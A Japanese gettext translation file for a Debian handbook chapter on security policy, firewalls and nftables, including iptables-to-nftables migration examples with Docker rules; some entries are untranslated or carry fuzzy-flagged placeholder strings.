#
# AUTHOR , YEAR.
# Ryuunosuke Ayanokouzi , 2015-2019.
# Kenshi Muto , 2015.
# Yoichi Chonan , 2015.
# Osamu Aoki , 2016.
#
msgid ""
msgstr ""
"Project-Id-Version: 0\n"
"POT-Creation-Date: 2022-07-30 18:23+0200\n"
"PO-Revision-Date: 2019-02-03 09:00+0900\n"
"Last-Translator: AYANOKOUZI, Ryuunosuke \n"
"Language-Team: Japanese \n"
"Language: ja\n"
"MIME-Version: 1.0\n"
"Content-Type: application/x-publican; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Firewall"
msgstr "ファイアウォール"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Netfilter"
msgstr "Netfilter"
msgid "nftables"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "IDS/NIDS"
msgstr "IDS/NIDS"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Security"
msgstr "セキュリティ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”."
msgstr "情報システムはその環境に依存してさまざまな重要度を持ちます。情報システムは企業が生き残る上で極めて重要な意味を持つ場合もあります。そのため、さまざまな危険から情報システムを保護することが重要です。これらの危険を評価する過程、保護の定義および実装はまとめて「セキュリティプロセス」として知られています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Defining a Security Policy"
msgstr "セキュリティポリシーの定義"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "securitypolicy"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "CAUTION Scope of this chapter"
msgstr "CAUTION この章の適用範囲"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be Linux Server Security by Michael D. Bauer (published by O'Reilly)."
msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject."
msgstr "セキュリティは広い意味を持っておりとても慎重に扱うべき話題です。このため、どんな形であれ単一の章の中で包括的なやり方を説明することは不可能です。この章ではいくつかの重要な点を詳しく説明し、セキュリティ分野で使うことが可能ないくつかのツールと方法を説明するだけに留めます。より詳しい情報を得るには、セキュリティだけを取り扱っている数多くの文献を参照してください。Michael D. Bauer によって書かれた Linux Server Security (O'Reilly から出版されています) は素晴らしい足掛かりとなるでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security."
msgstr "「セキュリティ」という単語自体は広い範囲の概念、ツール、手順を意味しており、どの一つをとってみても普遍的に適用できるものではありません。「セキュリティ」という単語の意味を把握するには、自分の目標に関する正確な知識を必要とします。システムを保護することはいくつかの質問に答えることから始まります。何も考えずいい加減に選んだツール群を使うと、間違ったセキュリティの側面に注力するという危険を冒すことになります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:"
msgstr "このため、最初に目標を設定します。目標設定を手助けするには、以下の質問に答えると良いでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "What are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data."
msgstr "何を保護したいのですか? コンピュータを保護したい場合とデータを保護したい場合とでセキュリティポリシーは異なります。データを保護したい場合、保護したいデータの種類を知る必要があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "What are we trying to protect against? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?"
msgstr "何から保護したいのですか? 機密データの漏洩からですか? 予想外のデータ損失からですか? それともサービスが停止したことによる収益の損失からですか?"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
msgid "Also, who are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group."
msgstr "誰から保護したいのですか? 入力ミスを犯すシステムの一般ユーザから保護したい場合と執拗な攻撃を加えるグループから保護したい場合とでは、必要なセキュリティ対策は全く異なるものになるでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "securityrisk"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions."
msgstr "「リスク」という用語は習慣的に、3 つの要素をまとめて意味しています。すなわち、保護したいのは何なのか、防ぎたい危険とは何なのか、危険を引き起こすのは誰なのかという 3 つの要素を意味しています。リスクをモデル化するには、3 つの質問に答える必要があります。ここで作られたリスクモデルからセキュリティポリシーが構成され、セキュリティポリシーは具体的な動作を伴い履行されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "NOTE Permanent questioning"
msgstr "NOTE 永久的な質問"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly."
msgstr "セキュリティ分野 (コンピュータ以外のセキュリティも含めたセキュリティ分野) における世界的専門家である Bruce Schneier はセキュリティの最も重要な通説に反対意見を述べようとしています。反対意見のモットーは「セキュリティとは過程であって、成果ではない」です。保護したい資産だけでなく、脅威や潜在的な攻撃者が使う手段も時間経過に伴い変化します。最初にセキュリティポリシーが完璧に設計され履行されたとしても、決してその栄光に満足するべきではありません。リスクの元になる要素が増加すれば、同時にリスクへの対応も増加させなければいけません。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "filtering rule"
msgid "Schneier, Bruce"
msgstr "フィルタリングルール"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "receive buffer"
msgid "Bruce Schneier"
msgstr "受信バッファ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation."
msgstr "他にも考慮に値する追加的な質問があります。この質問により、利用できるポリシーの範囲を狭めることが可能です。どの程度までシステムを保護したいのですか? この質問はポリシーの設計に大きな影響をおよぼします。この質問には金銭的な費用の意味だけでなく、システムユーザに課される不便さや性能の低下の量という別の要素も考慮して回答すべきです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Once the risk has been modeled, one can start thinking about designing an actual security policy."
msgstr "リスクのモデル化が完了したら、実際のセキュリティポリシーの設計について検討を開始することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "NOTE Extreme policies"
msgstr "NOTE 極端なポリシー"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "There are cases where the choice of actions required to secure a system is extremely simple."
msgstr "システムを保護するために必要な動作を極めて単純に選ぶことが可能な場合があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach."
msgstr "たとえば、保護されるシステムが 1 台の中古コンピュータから構成されるとします。このシステムは毎日の終わりにいくつかの数の足し算を行うためだけに使われます。このようなシステムを特別に保護しないことはかなり理に適っています。本質的なシステムの価値は低いです。データはコンピュータに保存されないため、データの価値もありません。この「システム」に侵入されたところで、潜在的な攻撃者が手に入れられるのは大きすぎて扱いにくい計算機だけです。このようなシステムの場合、保護に必要な費用は侵害によって脅かされる費用よりも多いかもしれません。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…"
msgstr "その対極に、可能な限り包括的な方法を使って機密データの機密性を考え得る他のどんな方法よりも強力に保護したいとします。この場合の適切な方針は機密データを完全に破壊することです (安全にファイルを削除し、ハードディスクを粉々に破砕し、破片を酸に溶かすなどの方法で完全に破壊します)。追加的な要求としてデータを将来使えるように保存する必要があり (とは言え簡単に利用できる必要はありません)、さらに保存にかかる費用に糸目を付けない場合、データをイリジウムプラチナ合金板に保存し、この板を世界中に位置するいくつかの山の下にある防弾掩体壕の内部に保存し、各保存場所を (もちろん) 完全に秘密かつ軍隊の全員で警備することが適切な方針です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgid "Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgstr "これらの例は極端な対応に見えますが、到達させたい目標と満足させたい制限事項を考慮した結果この対応を取ったというのであれば、定義されたリスクに対する適切な応答と言えます。合理的な判定を下した結果ならば、他のセキュリティポリシーよりも軽んじても良いセキュリティポリシーなど存在しません。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel."
msgstr "多くの場合、情報システムを一貫性のある独立した小集団に分割することが可能です。各サブシステムには固有の要求と制限事項があります。このため、リスク評価とセキュリティポリシーの設計はそれぞれのサブシステムごとに別々に実行されるべきです。簡潔にうまく定義された境界を定義するほうが複雑に曲がりくねった境界を定義するよりも簡単という原理は覚えておくと良いでしょう。ネットワーク組織もまた適切に設計されるべきです。すなわち、機密を取り扱うサービスは少数のマシンに集中させるべきで、それらのマシンへのアクセスを可能にするチェックポイントの数も最小限に留めるべきです。そして、これらのチェックポイントを守ることは、外の世界全体からすべての機密を取り扱うマシンを守ることよりも簡単です。近年、ネットワークフィルタ (ファイアウォールを含めて) の実用性が明らかになりつつあります。ネットワークフィルタは専用ハードウェアを使って実装されることも可能ですが、Linux カーネルに統合されているソフトウェアファイアウォールを使えばより簡単で柔軟性の高いフィルタを作成することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Firewall or Packet Filtering"
msgstr "ファイアウォールとパケットフィルタリング"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "firewall"
msgstr "ファイアウォール"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "packetfilterfirewall"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "BACK TO BASICS Firewall"
msgstr "BACK TO BASICS ファイアウォール"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "packetIP"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A firewall is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions."
msgstr "ファイアウォールはハードウェアかソフトウェアの形で提供されるコンピュータ部品の一種で、受信および送信する (ローカルネットワークに到着したり、ローカルネットワークから送信される) ネットワークパケットを仕分けて事前に定義された条件に一致するパケットだけを通過させるものです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets."
msgstr "ファイアウォールはネットワークゲートウェイをフィルタするもので、ゲートウェイを通過しなければいけないパケットだけに有効です。それ故、フィルタしたいパケットをファイアウォール以外の経路で宛先に配送することが可能な場合、ファイアウォールは無意味です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "SPECIFIC CASE Local Firewall"
msgstr "SPECIFIC CASE ローカルファイアウォール"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed."
msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services."
msgstr "ファイアウォールを使って (完全なネットワークとは対照的に) 特定のマシンを制限することも可能です。この場合のファイアウォールの役割は一部のサービスへのアクセスをフィルタしたり制限すること、ユーザが好むと好まざるとに関わらずインストールした不正ソフトウェアによる外部への接続を防ぐことです。"
msgid "Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "The Linux kernel embeds the netfilter firewall. It can be controlled from user space with the iptables and ip6tables commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel."
msgid "The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands."
msgstr "Linux カーネルには netfilter ファイアウォールが組み込まれています。iptables と ip6tables コマンドを使うことで、netfilter ファイアウォールをユーザ空間から制御することが可能です。iptables と ip6tables コマンドの違いは、iptables が IPv4 ネットワークを取り扱うのに対し、ip6tables は IPv6 ネットワークを取り扱うという点です。おそらく IPv4 と IPv6 のネットワークプロトコルスタックは長きにわたり共存するでしょうから、両方のツールを並行して実行する必要があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "iptables"
msgstr "iptables"
msgid "However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "VOCABULARY Security audit"
msgid "TOOLS fwbuilder and ufw"
msgstr "VOCABULARY セキュリティ監査"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "fwbuilder"
msgstr "fwbuilder"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "top"
msgid "ufw"
msgstr "top"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Each rule creation requires one invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as fwbuilder."
msgid "Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent."
msgstr "1 つのルールを作成するには、iptables/ip6tables を 1 回実行する必要があります。これらのコマンドを手作業で実行することは退屈なので、通常スクリプトの形で保存しておきます。こうすることで、マシンの起動時に同じ設定を自動的に適用することが可能です。このスクリプトは手作業で書かなければいけませんが、fwbuilder などの高レベルツールを使ってスクリプトを準備しても良いでしょう。"
msgid "A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
msgstr ""
msgid "An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/ufw/"
msgstr "バッファ受信バッファ"
msgid "To enable a default firewall in Debian execute:"
msgstr ""
msgid ""
"# apt install -y nftables\n"
"Reading package lists... Done\n"
"...\n"
"# systemctl enable nftables.service\n"
"Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.\n"
""
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Netfilter Behavior"
msgid "nftables Behavior"
msgstr "netfilter の挙動"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "MD5"
msgid "nftables"
msgstr "MD5"
msgid "As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "IDS"
msgid "OSI"
msgstr "IDS"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "intrusion detection"
msgid "Open Systems InterconnectionOSI"
msgstr "侵入検知"
msgid "A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "VOCABULARY Zero-day exploit"
msgid "CULTURE The OSI model"
msgstr "VOCABULARY ゼロデイ脆弱性"
#, fuzzy
#| msgid "logsdisplay"
msgid "OSImodel"
msgstr "ログ表示"
msgid "The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols."
msgstr ""
msgid "This model was defined in the standard ISO/EIC 7498. The following seven layers are described:"
msgstr ""
msgid "Physical: transmission and reception of raw bit streams over a physical medium"
msgstr ""
msgid "Data Link: reliable transmission of data frames between two nodes connected by a physical layer"
msgstr ""
msgid "Network: structuring and managing a multi-node network, including addressing, routing and traffic control"
msgstr ""
msgid "Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing"
msgstr ""
msgid "Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes"
msgstr ""
msgid "Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption"
msgstr ""
msgid "Application: High-level APIs, including resource sharing, remote file access."
msgstr ""
msgid "More information can be found on Wikipedia: "
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "NetworkIDS"
msgid "firewalltables"
msgstr "ネットワークIDS"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "NetworkIDS"
msgid "firewallrules"
msgstr "ネットワークIDS"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "NetworkIDS"
msgid "firewallchains"
msgstr "ネットワークIDS"
msgid "The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified."
msgstr ""
msgid "There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "chain"
msgstr "チェイン"
msgid "Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "MD5"
msgid "rule"
msgstr "MD5"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "BACK TO BASICS ICMP"
msgstr "BACK TO BASICS ICMP"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "ICMP"
msgstr "ICMP"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "protocolICMP"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Internet Control Message Protocol"
msgid "Internet Control Message ProtocolICMP"
msgstr "Internet Control Message Protocol"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "ping"
msgstr "ping"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
#, fuzzy
#| msgid "ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended. "
msgid "ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended. "
msgstr "ICMP (Internet Control Message Protocol) は通信に関する補足情報を送信するために使われるプロトコルです。ping コマンドは ICMP を使ってネットワークの接続性を検査します (ping コマンドは ICMP echo request メッセージを送信します。これに対して受信者は ICMP echo reply メッセージで応答することになっています)。ICMP を使えば、ファイアウォールがパケットを拒否していることを通知したり、受信バッファが満杯になっていることを通知したり、次回パケット以降に使えるより良い経路を提案することが可能です。ICMP はいくつかの RFC 文書で定義されています。しかし、最初の RFC777 と RFC792 はすぐに完成し、拡張されました。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time)."
msgstr "参考のために書いておきますが、受信バッファとはデータがネットワークから到着してカーネルがデータを処理するまでの間そのデータを保存する小容量のメモリ区画です。このメモリ区画が満杯になると、新しいデータを受け取ることができなくなり、ICMP を使ってこの問題が通知されます。そうすれば送信側はデータの転送速度を遅くすることが可能です (理想的に言えば、しばらくの後に転送速度は平衡状態に達するべきです)。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "receive buffer"
msgstr "受信バッファ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "bufferreceive buffer"
msgstr "バッファ受信バッファ"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC4443. "
msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443. "
msgstr "IPv4 ネットワークは ICMP がなくても動作しますが、IPv6 ネットワークは ICMPv6 を必須条件としています。なぜなら、ICMPv6 は IPv4 世界で ICMPv4、IGMP (Internet Group Membership Protocol)、ARP (Address Resolution Protocol) のように分散していたさまざまな機能をまとめているからです。ICMPv6 は RFC4443 で定義されています。"
msgid "Moving from iptables to nftables"
msgstr ""
msgid "The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:"
msgstr ""
msgid ""
"# iptables-save > iptables-ruleset.txt\n"
"# iptables-restore-translate -f iptables-ruleset.txt\n"
"\n"
"# Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022\n"
"add table ip filter\n"
"add chain ip filter INPUT { type filter hook input priority 0; policy accept; }\n"
"add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }\n"
"add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }\n"
"add chain ip filter DOCKER\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-1\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-2\n"
"add chain ip filter DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1\n"
"add rule ip filter FORWARD oifname \"docker0\" ct state related,established counter accept\n"
"add rule ip filter FORWARD oifname \"docker0\" counter jump DOCKER\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname != \"docker0\" counter accept\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname \"docker0\" counter accept\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname \"docker0\" oifname != \"docker0\" counter jump DOCKER-ISOLATION-STAGE-2\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname \"docker0\" counter drop\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return\n"
"add rule ip filter DOCKER-USER counter return\n"
"add table ip nat\n"
"add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }\n"
"add chain ip nat INPUT { type nat hook input priority 100; policy accept; }\n"
"add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }\n"
"add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }\n"
"add chain ip nat DOCKER\n"
"add rule ip nat PREROUTING fib daddr type local counter jump DOCKER\n"
"add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER\n"
"add rule ip nat POSTROUTING oifname != \"docker0\" ip saddr 172.17.0.0/16 counter masquerade\n"
"add rule ip nat DOCKER iifname \"docker0\" counter return\n"
"# Completed on Wed Mar 16 22:06:32 2022\n"
"# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft\n"
"# nft -f ruleset.nft\n"
"# nft list ruleset\n"
"table inet filter {\n"
"\tchain input {\n"
"\t\ttype filter hook input priority filter; policy accept;\n"
"\t}\n"
"\n"
"\tchain forward {\n"
"\t\ttype filter hook forward priority filter; policy accept;\n"
"\t}\n"
"\n"
"\tchain output {\n"
"\t\ttype filter hook output priority filter; policy accept;\n"
"\t}\n"
"}\n"
"table ip nat {\n"
"\tchain DOCKER {\n"
"\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n"
"\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain POSTROUTING {\n"
"\t\ttype nat hook postrouting priority srcnat; policy accept;\n"
"\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n"
"\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n"
"\t}\n"
"\n"
"\tchain PREROUTING {\n"
"\t\ttype nat hook prerouting priority dstnat; policy accept;\n"
"\t\tfib daddr type local counter packets 1 bytes 60 jump DOCKER\n"
"\t\tfib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype nat hook output priority -100; policy accept;\n"
"\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype nat hook input priority 100; policy accept;\n"
"\t}\n"
"}\n"
"table ip filter {\n"
"\tchain DOCKER {\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-1 {\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n"
